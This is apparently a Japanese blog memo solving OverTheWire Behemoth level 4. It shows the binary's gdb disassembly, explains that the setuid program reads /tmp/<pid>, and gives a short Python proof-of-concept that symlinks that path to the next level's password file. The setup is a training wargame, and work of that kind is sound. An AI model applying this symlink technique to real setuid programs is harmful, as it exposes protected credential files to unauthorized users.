シンボリックリンク攻撃めも

最近遊んでいるOverTheWireBehemothのレベル4がシンボリックリンク攻撃だったのでその攻略めもです。

behemothの問題はソースコードは公開されてないので見れるのはバイナリだけです。で、gdbでdisas mainしたときの表示がこちら。

Dump of assembler code for function main:
   0x080485dd <+0>:     push   ebp
   0x080485de <+1>:     mov    ebp,esp
   0x080485e0 <+3>:     and    esp,0xfffffff0
   0x080485e3 <+6>:     sub    esp,0x40
   0x080485e6 <+9>:     mov    eax,gs:0x14
   0x080485ec <+15>:    mov    DWORD PTR [esp+0x3c],eax
   0x080485f0 <+19>:    xor    eax,eax
   0x080485f2 <+21>:    call   0x8048460 <getpid@plt>
   0x080485f7 <+26>:    mov    DWORD PTR [esp+0x1c],eax
   0x080485fb <+30>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080485ff <+34>:    mov    DWORD PTR [esp+0x8],eax
   0x08048603 <+38>:    mov    DWORD PTR [esp+0x4],0x8048740
   0x0804860b <+46>:    lea    eax,[esp+0x28]
   0x0804860f <+50>:    mov    DWORD PTR [esp],eax
   0x08048612 <+53>:    call   0x80484d0 <sprintf@plt>
   0x08048617 <+58>:    mov    DWORD PTR [esp+0x4],0x8048748
   0x0804861f <+66>:    lea    eax,[esp+0x28]
   0x08048623 <+70>:    mov    DWORD PTR [esp],eax
   0x08048626 <+73>:    call   0x80484a0 <fopen@plt>
   0x0804862b <+78>:    mov    DWORD PTR [esp+0x20],eax
   0x0804862f <+82>:    cmp    DWORD PTR [esp+0x20],0x0
   0x08048634 <+87>:    jne    0x8048644 <main+103>
   0x08048636 <+89>:    mov    DWORD PTR [esp],0x804874a
   0x0804863d <+96>:    call   0x8048470 <puts@plt>
   0x08048642 <+101>:   jmp    0x804868d <main+176>
   0x08048644 <+103>:   mov    DWORD PTR [esp],0x1
   0x0804864b <+110>:   call   0x8048440 <sleep@plt>
   0x08048650 <+115>:   mov    DWORD PTR [esp],0x8048759
   0x08048657 <+122>:   call   0x8048470 <puts@plt>
   0x0804865c <+127>:   jmp    0x804866a <main+141>
   0x0804865e <+129>:   mov    eax,DWORD PTR [esp+0x24]
   0x08048662 <+133>:   mov    DWORD PTR [esp],eax
   0x08048665 <+136>:   call   0x80484b0 <putchar@plt>
   0x0804866a <+141>:   mov    eax,DWORD PTR [esp+0x20]
   0x0804866e <+145>:   mov    DWORD PTR [esp],eax
   0x08048671 <+148>:   call   0x80484c0 <fgetc@plt>
   0x08048676 <+153>:   mov    DWORD PTR [esp+0x24],eax
   0x0804867a <+157>:   cmp    DWORD PTR [esp+0x24],0xffffffff
   0x0804867f <+162>:   jne    0x804865e <main+129>
   0x08048681 <+164>:   mov    eax,DWORD PTR [esp+0x20]
   0x08048685 <+168>:   mov    DWORD PTR [esp],eax
   0x08048688 <+171>:   call   0x8048430 <fclose@plt>
   0x0804868d <+176>:   mov    eax,0x0
   0x08048692 <+181>:   mov    edx,DWORD PTR [esp+0x3c]
   0x08048696 <+185>:   xor    edx,DWORD PTR gs:0x14
   0x0804869d <+192>:   je     0x80486a4 <main+199>
   0x0804869f <+194>:   call   0x8048450 <__stack_chk_fail@plt>
   0x080486a4 <+199>:   leave
   0x080486a5 <+200>:   ret
End of assembler dump.

処理自体はmain()で完結してます。このプログラムは最初にgetpid(2)で自身のPIDを取得します。そしてsprintf(3)で以下のような形でファイル名を作成してます。

    sprintf(buf, "/tmp/%d", pid)

そして、fopen(3)でこのファイルを読みこみで開きます。もし、ファイルが無ければ、エラーメッセージを出して終了します。 ファイルが有った場合はfgetc(3)で開いたファイルから1byte読み込んで、読み込んだデータをputchar(2)で出力します。 なので、/tmp/${pid}が存在すれば、そのデータを出力できるですね。ここで読み込みたいファイルは次の問題へアクセするためのパスワードが書いてある/etc/behemoth_pass/behemoth5です。

behemoth4はsetuidされたバイナリなので/etc/behemoth_pass/behemoth5を読むことはできます。ログインしているユーザはbehemoth4なので/etc/behemoth_pass/behemoth5を直接読みことはできません。 で、どうするかというところでシンボリックリンクが出てきて、/tmp/${pid}が/etc/behemoth_pass/behemoth5を参照するようになっていればプログラムのbehemoth4はパスワードのファイルを読めます。

よって、この問題はpidさえ分かれば解決できます。じゃあ、pidをどうやって知るかとろころで、適当にコマンド動かしてそのpidからブルートフォースで/tmp/の下にシンボリックリンクのファイルを作るとか、適当なpidを選んで(1234とか)そのpidになるまで延々と実行するとかもあるんですが、めんどくさいのでpythonスクリプトでpopenでプロセス起動すればpidがわかるのでそこでシンボリックリンクを作ってしまいます。

#!/usr/bin/env python2

from subprocess import Popen
import os

target = '/behemoth/behemoth4'

pass_file = '/etc/behemoth_pass/behemoth5'

p = Popen([target])

print("[*] target %s's pid is %d" % (target, p.pid))

fake_file = '/tmp/%d' % (p.pid)

print('[*] create fake file %s' % fake_file)
os.symlink(pass_file, fake_file)

p.wait

print('[*] Done')

そして、これを実行するとこんな感じで、*********のところが実際のパスワードとして表示されてレベル4クリアとなりますヽ(=´▽`=)ノ

behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ ./poc.py
[*] target /behemoth/behemoth4's pid is 12523
[*] create fake file /tmp/12523
[*] Done
behemoth4@melinda:/tmp/tmp.4LWzmg6qKA$ Finished sleeping, fgetcing
*********

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~

Raspberry Piではじめるおうちハック ~ラズパイとIoTでつくる未来の住まい~